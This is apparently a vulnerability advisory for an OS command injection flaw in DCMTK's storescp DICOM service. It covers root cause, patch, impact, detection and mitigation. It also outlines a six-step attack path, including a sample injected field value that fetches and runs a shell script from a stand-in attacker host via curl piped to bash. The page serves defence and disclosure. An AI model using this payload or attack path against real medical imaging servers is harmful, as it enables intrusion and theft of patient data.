CVE-2026-5663: 
NixOS vulnerability analysis and mitigation

CVE-2026-5663 is an OS command injection vulnerability in OFFIS DCMTK (DICOM Toolkit) affecting all versions up to and including 3.7.0. The flaw resides in the executeOnReception and executeOnEndOfStudy functions within dcmnet/apps/storescp.cc of the storescp component, which handles incoming DICOM C-STORE requests. An unauthenticated remote attacker can exploit this vulnerability by sending a crafted DICOM association containing malicious special characters in fields such as Study Instance UID, SOP Instance UID, Patient Name, or the calling presentation address. It carries a CVSS v3.1 base score of 9.8 (Critical) and a CVSS v4.0 base score of 6.9 (Medium) (Github Advisory, Red Hat Bugzilla).

The root cause is improper neutralization of special elements used in OS commands (CWE-77/CWE-78). When storescp is configured with execution options such as --exec-on-reception or --exec-on-end-of-study, it constructs shell command strings by substituting placeholders (e.g., #a for calling AE title, #c for called AE title, #r for calling presentation address, #p for path, #f for filename) with values derived from the incoming DICOM association or DICOM object metadata. Prior to the patch, these values were not adequately sanitized for shell metacharacters, allowing an attacker to inject arbitrary OS commands by embedding characters such as ;, |, or backticks into DICOM fields like Study Instance UID or the calling presentation address. The fix (commit edbb085e45788dccaf0e64d71534cfca925784b8) introduces a sanitized_filename_charset allowlist and wraps certain substituted strings in double quotes, removing or replacing shell-special characters before command construction (DCMTK Commit, Github Advisory). The vulnerability was reported by Machine Spirits UG with a detailed analysis and proof of concept (DCMTK Commit).

Successful exploitation allows a remote, unauthenticated attacker to execute arbitrary OS commands on the host running storescp with the privileges of the DCMTK process. This can result in full compromise of system confidentiality (e.g., exfiltration of DICOM medical imaging data or credentials), integrity (e.g., modification or deletion of files), and availability (e.g., denial of service or ransomware deployment). Given that DCMTK is widely used in healthcare and medical imaging environments, exploitation could expose sensitive patient data and disrupt clinical operations (Red Hat Bugzilla, Github Advisory).

A proof-of-concept was developed by Machine Spirits UG and shared privately with the DCMTK maintainers as part of responsible disclosure, but no public PoC exploit code is currently known to be available (DCMTK Commit). There is no evidence of active in-the-wild exploitation at this time (Github Advisory). The EPSS score is approximately 1.76–3.91%, indicating a relatively low but non-negligible probability of exploitation in the near term. The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires that storescp be running with one of the execution options (--exec-on-reception or --exec-on-end-of-study) enabled, which is not the default configuration.

1. Reconnaissance: Identify hosts running OFFIS DCMTK storescp (version ≤ 3.7.0) on the network, typically listening on DICOM port 104 or 11112, using tools like Nmap with DICOM service detection or Shodan.
2. Verify execution options: Confirm that the target storescp instance is configured with --exec-on-reception or --exec-on-end-of-study options, which trigger command execution upon receiving DICOM data. This may be inferred from service banners or configuration files if accessible.
3. Craft malicious DICOM C-STORE request: Construct a DICOM C-STORE request where a metadata field used as a command placeholder (e.g., Study Instance UID, SOP Instance UID, Patient Name, or the calling AE title/presentation address) contains shell metacharacters and an injected command, such as 1.2.3; curl http://attacker.com/shell.sh | bash.
4. Send the crafted request: Use a DICOM client tool (e.g., storescu from DCMTK itself, or dcmsend) to send the malicious DICOM object to the target storescp service.
5. Trigger command execution: Upon reception or end-of-study, storescp substitutes the malicious field value into the shell command template and executes it, running the injected OS command with the privileges of the storescp process.
6. Achieve objective: The injected command executes on the server, enabling reverse shell establishment, data exfiltration, or further lateral movement within the healthcare network (DCMTK Commit, Red Hat Bugzilla).

• Network: Unexpected outbound connections from the DCMTK storescp host to external IPs or domains shortly after receiving DICOM C-STORE requests; DICOM traffic on ports 104/11112 containing unusual characters (;, |, backticks, $()) in UID or AE title fields.
• Logs: DCMTK log entries containing warnings such as Sanitized unusual characters in Study Instance UID or Sanitized unusual characters in calling presentation address (post-patch systems); unexpected shell command execution logged by the OS audit subsystem (e.g., auditd) originating from the storescp process.
• Process: Unusual child processes spawned by storescp (e.g., /bin/sh, bash, curl, wget, python) visible via process monitoring tools; unexpected network connections initiated by child processes of storescp.
• File System: New or modified files in the DCMTK output directory or system directories created by the storescp process account; presence of web shells, reverse shell scripts, or cron job modifications attributable to the DCMTK service account.

Apply the security patch identified as commit edbb085e45788dccaf0e64d71534cfca925784b8 to all DCMTK installations running version 3.7.0 or earlier (DCMTK Commit). As an immediate workaround, avoid using storescp with the --exec-on-reception or --exec-on-end-of-study execution options when the service is exposed to untrusted networks, as the vulnerability is only exploitable when these options are active. Additionally, restrict network access to the DICOM service port (104/11112) using firewall rules to limit exposure to trusted DICOM peers only, and monitor for suspicious process activity originating from storescp until the patch is applied (Red Hat Bugzilla).

Red Hat has tracked this vulnerability via Bugzilla (Bug 2455377) and classified it as urgent severity, indicating active monitoring for downstream impact on Red Hat products that bundle DCMTK (Red Hat Bugzilla). openSUSE has also issued a security announcement addressing this CVE (openSUSE Advisory). The vulnerability was responsibly disclosed by Machine Spirits UG, who provided a detailed analysis and proof of concept to the DCMTK maintainers, and the fix was promptly committed to the DCMTK repository (DCMTK Commit).